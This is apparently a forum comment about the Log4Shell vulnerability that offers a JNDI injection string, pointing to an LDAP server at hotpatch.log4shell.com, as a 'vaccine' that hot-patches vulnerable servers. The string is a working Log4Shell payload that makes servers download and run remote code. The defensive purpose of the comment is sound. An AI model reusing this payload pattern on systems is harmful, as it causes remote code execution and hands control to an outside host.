Log4Shell update: second Log4j vulnerability published
We also wrote a Log4Shell payload that will in-memory "hot patch" your server against Log4Shell.<p>${jndi:ldap://hotpatch.log4shell.com:1389/a}<p>If you paste that into a vulnerable server (or even throw it into a log statement in your `main` function), that'll patch you against this until you can manage to update properly.<p>Source code is on GitHub here[0][1] if you want to host it yourself.<p>(This work is based on Logout4Shell[2], but we rewrote it to fix the bugs, make it work in more places, and also hosted it so that you don't have to muck with DNS and live server stuff.)<p>0: <a href="https://github.com/lunasec-io/lunasec/releases/" rel="nofollow">https://github.com/lunasec-io/lunasec/releases/</a><p>1: (Go source code) <a href="https://github.com/lunasec-io/lunasec/tree/master/tools/log4shell" rel="nofollow">https://github.com/lunasec-io/lunasec/tree/master/tools/log4...</a><p>2: <a href="https://github.com/Cybereason/Logout4Shell" rel="nofollow">https://github.com/Cybereason/Logout4Shell</a>